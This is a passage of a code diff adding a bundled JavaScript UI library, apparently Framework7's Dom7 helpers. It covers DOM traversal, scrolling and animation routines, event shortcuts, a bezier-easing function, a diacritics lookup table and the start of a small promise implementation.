'undefined') { + return new Dom7([]); + } + if (!closest.is(selector)) { + closest = closest.parents(selector).eq(0); + } + return closest; + } + function find(selector) { + var this$1 = this; + + var foundElements = []; + for (var i = 0; i < this.length; i += 1) { + var found = this$1[i].querySelectorAll(selector); + for (var j = 0; j < found.length; j += 1) { + foundElements.push(found[j]); + } + } + return new Dom7(foundElements); + } + function children(selector) { + var this$1 = this; + + var children = []; // eslint-disable-line + for (var i = 0; i < this.length; i += 1) { + var childNodes = this$1[i].childNodes; + + for (var j = 0; j < childNodes.length; j += 1) { + if (!selector) { + if (childNodes[j].nodeType === 1) { children.push(childNodes[j]); } + } else if (childNodes[j].nodeType === 1 && $$1(childNodes[j]).is(selector)) { + children.push(childNodes[j]); + } + } + } + return new Dom7(unique(children)); + } + function remove() { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + if (this$1[i].parentNode) { this$1[i].parentNode.removeChild(this$1[i]); } + } + return this; + } + function detach() { + return this.remove(); + } + function add() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var dom = this; + var i; + var j; + for (i = 0; i < args.length; i += 1) { + var toAdd = $$1(args[i]); + for (j = 0; j < toAdd.length; j += 1) { + dom[dom.length] = toAdd[j]; + dom.length += 1; + } + } + return dom; + } + function empty() { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + var el = this$1[i]; + if (el.nodeType === 1) { + for (var j = 0; j < el.childNodes.length; j += 1) { + if (el.childNodes[j].parentNode) { + el.childNodes[j].parentNode.removeChild(el.childNodes[j]); + } + } + el.textContent = ''; + } + } + return this; + } + + + + + var Methods = Object.freeze({ + addClass: addClass, + removeClass: removeClass, + hasClass: hasClass, + toggleClass: toggleClass, + attr: attr, + removeAttr: removeAttr, + prop: prop, + data: data, + removeData: removeData, + dataset: dataset, + val: val, + transform: transform, + transition: transition, + on: on, + off: off, + once: once, + trigger: trigger, + transitionEnd: transitionEnd, + animationEnd: animationEnd, + width: width, + outerWidth: outerWidth, + height: height, + outerHeight: outerHeight, + offset: offset, + hide: hide, + show: show, + styles: styles, + css: css, + toArray: toArray, + each: each, + forEach: forEach, + filter: filter, + map: map, + html: html, + text: text, + is: is, + indexOf: indexOf, + index: index, + eq: eq, + append: append, + appendTo: appendTo, + prepend: prepend, + prependTo: prependTo, + insertBefore: insertBefore, + insertAfter: insertAfter, + next: next, + nextAll: nextAll, + prev: prev, + prevAll: prevAll, + siblings: siblings, + parent: parent, + parents: parents, + closest: closest, + find: find, + children: children, + remove: remove, + detach: detach, + add: add, + empty: empty + }); + + function scrollTo() { + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var left = args[0]; + var top = args[1]; + var duration = args[2]; + var easing = args[3]; + var callback = args[4]; + if (args.length === 4 && typeof easing === 'function') { + callback = easing; + (assign = args, left = assign[0], top = assign[1], duration = assign[2], callback = assign[3], easing = assign[4]); + } + if (typeof easing === 'undefined') { easing = 'swing'; } + + return this.each(function animate() { + var el = this; + var currentTop; + var currentLeft; + var maxTop; + var maxLeft; + var newTop; + var newLeft; + var scrollTop; // eslint-disable-line + var scrollLeft; // eslint-disable-line + var animateTop = top > 0 || top === 0; + var animateLeft = left > 0 || left === 0; + if (typeof easing === 'undefined') { + easing = 'swing'; + } + if (animateTop) { + currentTop = el.scrollTop; + if (!duration) { + el.scrollTop = top; + } + } + if (animateLeft) { + currentLeft = el.scrollLeft; + if (!duration) { + el.scrollLeft = left; + } + } + if (!duration) { return; } + if (animateTop) { + maxTop = el.scrollHeight - el.offsetHeight; + newTop = Math.max(Math.min(top, maxTop), 0); + } + if (animateLeft) { + maxLeft = el.scrollWidth - el.offsetWidth; + newLeft = Math.max(Math.min(left, maxLeft), 0); + } + var startTime = null; + if (animateTop && newTop === currentTop) { animateTop = false; } + if (animateLeft && newLeft === currentLeft) { animateLeft = false; } + function render(time) { + if ( time === void 0 ) time = new Date().getTime(); + + if (startTime === null) { + startTime = time; + } + var progress = Math.max(Math.min((time - startTime) / duration, 1), 0); + var easeProgress = easing === 'linear' ? progress : (0.5 - (Math.cos(progress * Math.PI) / 2)); + var done; + if (animateTop) { scrollTop = currentTop + (easeProgress * (newTop - currentTop)); } + if (animateLeft) { scrollLeft = currentLeft + (easeProgress * (newLeft - currentLeft)); } + if (animateTop && newTop > currentTop && scrollTop >= newTop) { + el.scrollTop = newTop; + done = true; + } + if (animateTop && newTop < currentTop && scrollTop <= newTop) { + el.scrollTop = newTop; + done = true; + } + if (animateLeft && newLeft > currentLeft && scrollLeft >= newLeft) { + el.scrollLeft = newLeft; + done = true; + } + if (animateLeft && newLeft < currentLeft && scrollLeft <= newLeft) { + el.scrollLeft = newLeft; + done = true; + } + + if (done) { + if (callback) { callback(); } + return; + } + if (animateTop) { el.scrollTop = scrollTop; } + if (animateLeft) { el.scrollLeft = scrollLeft; } + requestAnimationFrame(render); + } + requestAnimationFrame(render); + }); + } + // scrollTop(top, duration, easing, callback) { + function scrollTop() { + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var top = args[0]; + var duration = args[1]; + var easing = args[2]; + var callback = args[3]; + if (args.length === 3 && typeof easing === 'function') { + (assign = args, top = assign[0], duration = assign[1], callback = assign[2], easing = assign[3]); + } + var dom = this; + if (typeof top === 'undefined') { + if (dom.length > 0) { return dom[0].scrollTop; } + return null; + } + return dom.scrollTo(undefined, top, duration, easing, callback); + } + function scrollLeft() { + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var left = args[0]; + var duration = args[1]; + var easing = args[2]; + var callback = args[3]; + if (args.length === 3 && typeof easing === 'function') { + (assign = args, left = assign[0], duration = assign[1], callback = assign[2], easing = assign[3]); + } + var dom = this; + if (typeof left === 'undefined') { + if (dom.length > 0) { return dom[0].scrollLeft; } + return null; + } + return dom.scrollTo(left, undefined, duration, easing, callback); + } + + + + + var Scroll = Object.freeze({ + scrollTo: scrollTo, + scrollTop: scrollTop, + scrollLeft: scrollLeft + }); + + function animate(initialProps, initialParams) { + var els = this; + var a = { + props: Object.assign({}, initialProps), + params: Object.assign({ + duration: 300, + easing: 'swing', // or 'linear' + /* Callbacks + begin(elements) + complete(elements) + progress(elements, complete, remaining, start, tweenValue) + */ + }, initialParams), + + elements: els, + animating: false, + que: [], + + easingProgress: function easingProgress(easing, progress) { + if (easing === 'swing') { + return 0.5 - (Math.cos(progress * Math.PI) / 2); + } + if (typeof easing === 'function') { + return easing(progress); + } + return progress; + }, + stop: function stop() { + if (a.frameId) { + cancelAnimationFrame(a.frameId); + } + a.animating = false; + a.elements.each(function (index, el) { + var element = el; + delete element.dom7AnimateInstance; + }); + a.que = []; + }, + done: function done(complete) { + a.animating = false; + a.elements.each(function (index, el) { + var element = el; + delete element.dom7AnimateInstance; + }); + if (complete) { complete(els); } + if (a.que.length > 0) { + var que = a.que.shift(); + a.animate(que[0], que[1]); + } + }, + animate: function animate(props, params) { + if (a.animating) { + a.que.push([props, params]); + return a; + } + var elements = []; + + // Define & Cache Initials & Units + a.elements.each(function (index, el) { + var initialFullValue; + var initialValue; + var unit; + var finalValue; + var finalFullValue; + + if (!el.dom7AnimateInstance) { a.elements[index].dom7AnimateInstance = a; } + + elements[index] = { + container: el, + }; + Object.keys(props).forEach(function (prop) { + initialFullValue = win.getComputedStyle(el, null).getPropertyValue(prop).replace(',', '.'); + initialValue = parseFloat(initialFullValue); + unit = initialFullValue.replace(initialValue, ''); + finalValue = parseFloat(props[prop]); + finalFullValue = props[prop] + unit; + elements[index][prop] = { + initialFullValue: initialFullValue, + initialValue: initialValue, + unit: unit, + finalValue: finalValue, + finalFullValue: finalFullValue, + currentValue: initialValue, + }; + }); + }); + + var startTime = null; + var time; + var elementsDone = 0; + var propsDone = 0; + var done; + var began = false; + + a.animating = true; + + function render() { + time = new Date().getTime(); + var progress; + var easeProgress; + // let el; + if (!began) { + began = true; + if (params.begin) { params.begin(els); } + } + if (startTime === null) { + startTime = time; + } + if (params.progress) { + // eslint-disable-next-line + params.progress(els, Math.max(Math.min((time - startTime) / params.duration, 1), 0), ((startTime + params.duration) - time < 0 ? 0 : (startTime + params.duration) - time), startTime); + } + + elements.forEach(function (element) { + var el = element; + if (done || el.done) { return; } + Object.keys(props).forEach(function (prop) { + if (done || el.done) { return; } + progress = Math.max(Math.min((time - startTime) / params.duration, 1), 0); + easeProgress = a.easingProgress(params.easing, progress); + var ref = el[prop]; + var initialValue = ref.initialValue; + var finalValue = ref.finalValue; + var unit = ref.unit; + el[prop].currentValue = initialValue + (easeProgress * (finalValue - initialValue)); + var currentValue = el[prop].currentValue; + + if ( + (finalValue > initialValue && currentValue >= finalValue) || + (finalValue < initialValue && currentValue <= finalValue)) { + el.container.style[prop] = finalValue + unit; + propsDone += 1; + if (propsDone === Object.keys(props).length) { + el.done = true; + elementsDone += 1; + } + if (elementsDone === elements.length) { + done = true; + } + } + if (done) { + a.done(params.complete); + return; + } + el.container.style[prop] = currentValue + unit; + }); + }); + if (done) { return; } + // Then call + a.frameId = requestAnimationFrame(render); + } + a.frameId = requestAnimationFrame(render); + return a; + }, + }; + + if (a.elements.length === 0) { + return els; + } + + var animateInstance; + for (var i = 0; i < a.elements.length; i += 1) { + if (a.elements[i].dom7AnimateInstance) { + animateInstance = a.elements[i].dom7AnimateInstance; + } else { a.elements[i].dom7AnimateInstance = a; } + } + if (!animateInstance) { + animateInstance = a; + } + + if (initialProps === 'stop') { + animateInstance.stop(); + } else { + animateInstance.animate(a.props, a.params); + } + + return els; + } + + function stop() { + var els = this; + for (var i = 0; i < els.length; i += 1) { + if (els[i].dom7AnimateInstance) { + els[i].dom7AnimateInstance.stop(); + } + } + } + + + + + var Animate = Object.freeze({ + animate: animate, + stop: stop + }); + + var noTrigger = ('resize scroll').split(' '); + function eventShortcut(name) { + var this$1 = this; + var ref; + + var args = [], len = arguments.length - 1; + while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ]; + if (typeof args[0] === 'undefined') { + for (var i = 0; i < this.length; i += 1) { + if (noTrigger.indexOf(name) < 0) { + if (name in this$1[i]) { this$1[i][name](); } + else { + $$1(this$1[i]).trigger(name); + } + } + } + return this; + } + return (ref = this).on.apply(ref, [ name ].concat( args )); + } + + function click() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'click' ].concat( args )); + } + function blur() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'blur' ].concat( args )); + } + function focus() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'focus' ].concat( args )); + } + function focusin() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'focusin' ].concat( args )); + } + function focusout() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'focusout' ].concat( args )); + } + function keyup() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'keyup' ].concat( args )); + } + function keydown() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'keydown' ].concat( args )); + } + function keypress() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'keypress' ].concat( args )); + } + function submit() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'submit' ].concat( args )); + } + function change() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'change' ].concat( args )); + } + function mousedown() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mousedown' ].concat( args )); + } + function mousemove() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mousemove' ].concat( args )); + } + function mouseup() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mouseup' ].concat( args )); + } + function mouseenter() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mouseenter' ].concat( args )); + } + function mouseleave() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mouseleave' ].concat( args )); + } + function mouseout() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mouseout' ].concat( args )); + } + function mouseover() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'mouseover' ].concat( args )); + } + function touchstart() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'touchstart' ].concat( args )); + } + function touchend() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'touchend' ].concat( args )); + } + function touchmove() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'touchmove' ].concat( args )); + } + function resize() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'resize' ].concat( args )); + } + function scroll() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return eventShortcut.bind(this).apply(void 0, [ 'scroll' ].concat( args )); + } + + + + + var eventShortcuts = Object.freeze({ + click: click, + blur: blur, + focus: focus, + focusin: focusin, + focusout: focusout, + keyup: keyup, + keydown: keydown, + keypress: keypress, + submit: submit, + change: change, + mousedown: mousedown, + mousemove: mousemove, + mouseup: mouseup, + mouseenter: mouseenter, + mouseleave: mouseleave, + mouseout: mouseout, + mouseover: mouseover, + touchstart: touchstart, + touchend: touchend, + touchmove: touchmove, + resize: resize, + scroll: scroll + }); + + [Methods, Scroll, Animate, eventShortcuts].forEach(function (group) { + Object.keys(group).forEach(function (methodName) { + $$1.fn[methodName] = group[methodName]; + }); + }); + + /** + * https://github.com/gre/bezier-easing + * BezierEasing - use bezier curve for transition easing function + * by Gaëtan Renaudeau 2014 - 2015 – MIT License + */ + + /* eslint-disable */ + + // These values are established by empiricism with tests (tradeoff: performance VS precision) + var NEWTON_ITERATIONS = 4; + var NEWTON_MIN_SLOPE = 0.001; + var SUBDIVISION_PRECISION = 0.0000001; + var SUBDIVISION_MAX_ITERATIONS = 10; + + var kSplineTableSize = 11; + var kSampleStepSize = 1.0 / (kSplineTableSize - 1.0); + + var float32ArraySupported = typeof Float32Array === 'function'; + + function A (aA1, aA2) { return 1.0 - 3.0 * aA2 + 3.0 * aA1; } + function B (aA1, aA2) { return 3.0 * aA2 - 6.0 * aA1; } + function C (aA1) { return 3.0 * aA1; } + + // Returns x(t) given t, x1, and x2, or y(t) given t, y1, and y2. + function calcBezier (aT, aA1, aA2) { return ((A(aA1, aA2) * aT + B(aA1, aA2)) * aT + C(aA1)) * aT; } + + // Returns dx/dt given t, x1, and x2, or dy/dt given t, y1, and y2. + function getSlope (aT, aA1, aA2) { return 3.0 * A(aA1, aA2) * aT * aT + 2.0 * B(aA1, aA2) * aT + C(aA1); } + + function binarySubdivide (aX, aA, aB, mX1, mX2) { + var currentX, currentT, i = 0; + do { + currentT = aA + (aB - aA) / 2.0; + currentX = calcBezier(currentT, mX1, mX2) - aX; + if (currentX > 0.0) { + aB = currentT; + } else { + aA = currentT; + } + } while (Math.abs(currentX) > SUBDIVISION_PRECISION && ++i < SUBDIVISION_MAX_ITERATIONS); + return currentT; + } + + function newtonRaphsonIterate (aX, aGuessT, mX1, mX2) { + for (var i = 0; i < NEWTON_ITERATIONS; ++i) { + var currentSlope = getSlope(aGuessT, mX1, mX2); + if (currentSlope === 0.0) { + return aGuessT; + } + var currentX = calcBezier(aGuessT, mX1, mX2) - aX; + aGuessT -= currentX / currentSlope; + } + return aGuessT; + } + + function bezier (mX1, mY1, mX2, mY2) { + if (!(0 <= mX1 && mX1 <= 1 && 0 <= mX2 && mX2 <= 1)) { + throw new Error('bezier x values must be in [0, 1] range'); + } + + // Precompute samples table + var sampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize); + if (mX1 !== mY1 || mX2 !== mY2) { + for (var i = 0; i < kSplineTableSize; ++i) { + sampleValues[i] = calcBezier(i * kSampleStepSize, mX1, mX2); + } + } + + function getTForX (aX) { + var intervalStart = 0.0; + var currentSample = 1; + var lastSample = kSplineTableSize - 1; + + for (; currentSample !== lastSample && sampleValues[currentSample] <= aX; ++currentSample) { + intervalStart += kSampleStepSize; + } + --currentSample; + + // Interpolate to provide an initial guess for t + var dist = (aX - sampleValues[currentSample]) / (sampleValues[currentSample + 1] - sampleValues[currentSample]); + var guessForT = intervalStart + dist * kSampleStepSize; + + var initialSlope = getSlope(guessForT, mX1, mX2); + if (initialSlope >= NEWTON_MIN_SLOPE) { + return newtonRaphsonIterate(aX, guessForT, mX1, mX2); + } else if (initialSlope === 0.0) { + return guessForT; + } else { + return binarySubdivide(aX, intervalStart, intervalStart + kSampleStepSize, mX1, mX2); + } + } + + return function BezierEasing (x) { + if (mX1 === mY1 && mX2 === mY2) { + return x; // linear + } + // Because JavaScript number are imprecise, we should guarantee the extremes are right. + if (x === 0) { + return 0; + } + if (x === 1) { + return 1; + } + return calcBezier(getTForX(x), mY1, mY2); + }; + } + + /* eslint no-control-regex: "off" */ + + // Remove Diacritics + var defaultDiacriticsRemovalap = [ + { base: 'A', letters: '\u0041\u24B6\uFF21\u00C0\u00C1\u00C2\u1EA6\u1EA4\u1EAA\u1EA8\u00C3\u0100\u0102\u1EB0\u1EAE\u1EB4\u1EB2\u0226\u01E0\u00C4\u01DE\u1EA2\u00C5\u01FA\u01CD\u0200\u0202\u1EA0\u1EAC\u1EB6\u1E00\u0104\u023A\u2C6F' }, + { base: 'AA', letters: '\uA732' }, + { base: 'AE', letters: '\u00C6\u01FC\u01E2' }, + { base: 'AO', letters: '\uA734' }, + { base: 'AU', letters: '\uA736' }, + { base: 'AV', letters: '\uA738\uA73A' }, + { base: 'AY', letters: '\uA73C' }, + { base: 'B', letters: '\u0042\u24B7\uFF22\u1E02\u1E04\u1E06\u0243\u0182\u0181' }, + { base: 'C', letters: '\u0043\u24B8\uFF23\u0106\u0108\u010A\u010C\u00C7\u1E08\u0187\u023B\uA73E' }, + { base: 'D', letters: '\u0044\u24B9\uFF24\u1E0A\u010E\u1E0C\u1E10\u1E12\u1E0E\u0110\u018B\u018A\u0189\uA779' }, + { base: 'DZ', letters: '\u01F1\u01C4' }, + { base: 'Dz', letters: '\u01F2\u01C5' }, + { base: 'E', letters: '\u0045\u24BA\uFF25\u00C8\u00C9\u00CA\u1EC0\u1EBE\u1EC4\u1EC2\u1EBC\u0112\u1E14\u1E16\u0114\u0116\u00CB\u1EBA\u011A\u0204\u0206\u1EB8\u1EC6\u0228\u1E1C\u0118\u1E18\u1E1A\u0190\u018E' }, + { base: 'F', letters: '\u0046\u24BB\uFF26\u1E1E\u0191\uA77B' }, + { base: 'G', letters: '\u0047\u24BC\uFF27\u01F4\u011C\u1E20\u011E\u0120\u01E6\u0122\u01E4\u0193\uA7A0\uA77D\uA77E' }, + { base: 'H', letters: '\u0048\u24BD\uFF28\u0124\u1E22\u1E26\u021E\u1E24\u1E28\u1E2A\u0126\u2C67\u2C75\uA78D' }, + { base: 'I', letters: '\u0049\u24BE\uFF29\u00CC\u00CD\u00CE\u0128\u012A\u012C\u0130\u00CF\u1E2E\u1EC8\u01CF\u0208\u020A\u1ECA\u012E\u1E2C\u0197' }, + { base: 'J', letters: '\u004A\u24BF\uFF2A\u0134\u0248' }, + { base: 'K', letters: '\u004B\u24C0\uFF2B\u1E30\u01E8\u1E32\u0136\u1E34\u0198\u2C69\uA740\uA742\uA744\uA7A2' }, + { base: 'L', letters: '\u004C\u24C1\uFF2C\u013F\u0139\u013D\u1E36\u1E38\u013B\u1E3C\u1E3A\u0141\u023D\u2C62\u2C60\uA748\uA746\uA780' }, + { base: 'LJ', letters: '\u01C7' }, + { base: 'Lj', letters: '\u01C8' }, + { base: 'M', letters: '\u004D\u24C2\uFF2D\u1E3E\u1E40\u1E42\u2C6E\u019C' }, + { base: 'N', letters: '\u004E\u24C3\uFF2E\u01F8\u0143\u00D1\u1E44\u0147\u1E46\u0145\u1E4A\u1E48\u0220\u019D\uA790\uA7A4' }, + { base: 'NJ', letters: '\u01CA' }, + { base: 'Nj', letters: '\u01CB' }, + { base: 'O', letters: '\u004F\u24C4\uFF2F\u00D2\u00D3\u00D4\u1ED2\u1ED0\u1ED6\u1ED4\u00D5\u1E4C\u022C\u1E4E\u014C\u1E50\u1E52\u014E\u022E\u0230\u00D6\u022A\u1ECE\u0150\u01D1\u020C\u020E\u01A0\u1EDC\u1EDA\u1EE0\u1EDE\u1EE2\u1ECC\u1ED8\u01EA\u01EC\u00D8\u01FE\u0186\u019F\uA74A\uA74C' }, + { base: 'OI', letters: '\u01A2' }, + { base: 'OO', letters: '\uA74E' }, + { base: 'OU', letters: '\u0222' }, + { base: 'OE', letters: '\u008C\u0152' }, + { base: 'oe', letters: '\u009C\u0153' }, + { base: 'P', letters: '\u0050\u24C5\uFF30\u1E54\u1E56\u01A4\u2C63\uA750\uA752\uA754' }, + { base: 'Q', letters: '\u0051\u24C6\uFF31\uA756\uA758\u024A' }, + { base: 'R', letters: '\u0052\u24C7\uFF32\u0154\u1E58\u0158\u0210\u0212\u1E5A\u1E5C\u0156\u1E5E\u024C\u2C64\uA75A\uA7A6\uA782' }, + { base: 'S', letters: '\u0053\u24C8\uFF33\u1E9E\u015A\u1E64\u015C\u1E60\u0160\u1E66\u1E62\u1E68\u0218\u015E\u2C7E\uA7A8\uA784' }, + { base: 'T', letters: '\u0054\u24C9\uFF34\u1E6A\u0164\u1E6C\u021A\u0162\u1E70\u1E6E\u0166\u01AC\u01AE\u023E\uA786' }, + { base: 'TZ', letters: '\uA728' }, + { base: 'U', letters: '\u0055\u24CA\uFF35\u00D9\u00DA\u00DB\u0168\u1E78\u016A\u1E7A\u016C\u00DC\u01DB\u01D7\u01D5\u01D9\u1EE6\u016E\u0170\u01D3\u0214\u0216\u01AF\u1EEA\u1EE8\u1EEE\u1EEC\u1EF0\u1EE4\u1E72\u0172\u1E76\u1E74\u0244' }, + { base: 'V', letters: '\u0056\u24CB\uFF36\u1E7C\u1E7E\u01B2\uA75E\u0245' }, + { base: 'VY', letters: '\uA760' }, + { base: 'W', letters: '\u0057\u24CC\uFF37\u1E80\u1E82\u0174\u1E86\u1E84\u1E88\u2C72' }, + { base: 'X', letters: '\u0058\u24CD\uFF38\u1E8A\u1E8C' }, + { base: 'Y', letters: '\u0059\u24CE\uFF39\u1EF2\u00DD\u0176\u1EF8\u0232\u1E8E\u0178\u1EF6\u1EF4\u01B3\u024E\u1EFE' }, + { base: 'Z', letters: '\u005A\u24CF\uFF3A\u0179\u1E90\u017B\u017D\u1E92\u1E94\u01B5\u0224\u2C7F\u2C6B\uA762' }, + { base: 'a', letters: '\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250' }, + { base: 'aa', letters: '\uA733' }, + { base: 'ae', letters: '\u00E6\u01FD\u01E3' }, + { base: 'ao', letters: '\uA735' }, + { base: 'au', letters: '\uA737' }, + { base: 'av', letters: '\uA739\uA73B' }, + { base: 'ay', letters: '\uA73D' }, + { base: 'b', letters: '\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253' }, + { base: 'c', letters: '\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184' }, + { base: 'd', letters: '\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A' }, + { base: 'dz', letters: '\u01F3\u01C6' }, + { base: 'e', letters: '\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD' }, + { base: 'f', letters: '\u0066\u24D5\uFF46\u1E1F\u0192\uA77C' }, + { base: 'g', letters: '\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F' }, + { base: 'h', letters: '\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265' }, + { base: 'hv', letters: '\u0195' }, + { base: 'i', letters: '\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131' }, + { base: 'j', letters: '\u006A\u24D9\uFF4A\u0135\u01F0\u0249' }, + { base: 'k', letters: '\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3' }, + { base: 'l', letters: '\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747' }, + { base: 'lj', letters: '\u01C9' }, + { base: 'm', letters: '\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F' }, + { base: 'n', letters: '\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5' }, + { base: 'nj', letters: '\u01CC' }, + { base: 'o', letters: '\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275' }, + { base: 'oi', letters: '\u01A3' }, + { base: 'ou', letters: '\u0223' }, + { base: 'oo', letters: '\uA74F' }, + { base: 'p', letters: '\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755' }, + { base: 'q', letters: '\u0071\u24E0\uFF51\u024B\uA757\uA759' }, + { base: 'r', letters: '\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783' }, + { base: 's', letters: '\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B' }, + { base: 't', letters: '\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787' }, + { base: 'tz', letters: '\uA729' }, + { base: 'u', letters: '\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289' }, + { base: 'v', letters: '\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C' }, + { base: 'vy', letters: '\uA761' }, + { base: 'w', letters: '\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73' }, + { base: 'x', letters: '\u0078\u24E7\uFF58\u1E8B\u1E8D' }, + { base: 'y', letters: '\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF' }, + { base: 'z', letters: '\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763' } ]; + + var diacriticsMap = {}; + for (var i = 0; i < defaultDiacriticsRemovalap.length; i += 1) { + var letters = defaultDiacriticsRemovalap[i].letters; + for (var j = 0; j < letters.length; j += 1) { + diacriticsMap[letters[j]] = defaultDiacriticsRemovalap[i].base; + } + } + + var createPromise = function createPromise(handler) { + var resolved = false; + var rejected = false; + var resolveArgs; + var rejectArgs; + var promiseHandlers = { + then: undefined, + catch: undefined, + }; + var promise = { + then: function then(thenHandler) { + if (resolved) { + thenHandler.apply(void 0, resolveArgs); + } else { + promiseHandlers.then = thenHandler; + } + return promise; + }, + catch: function 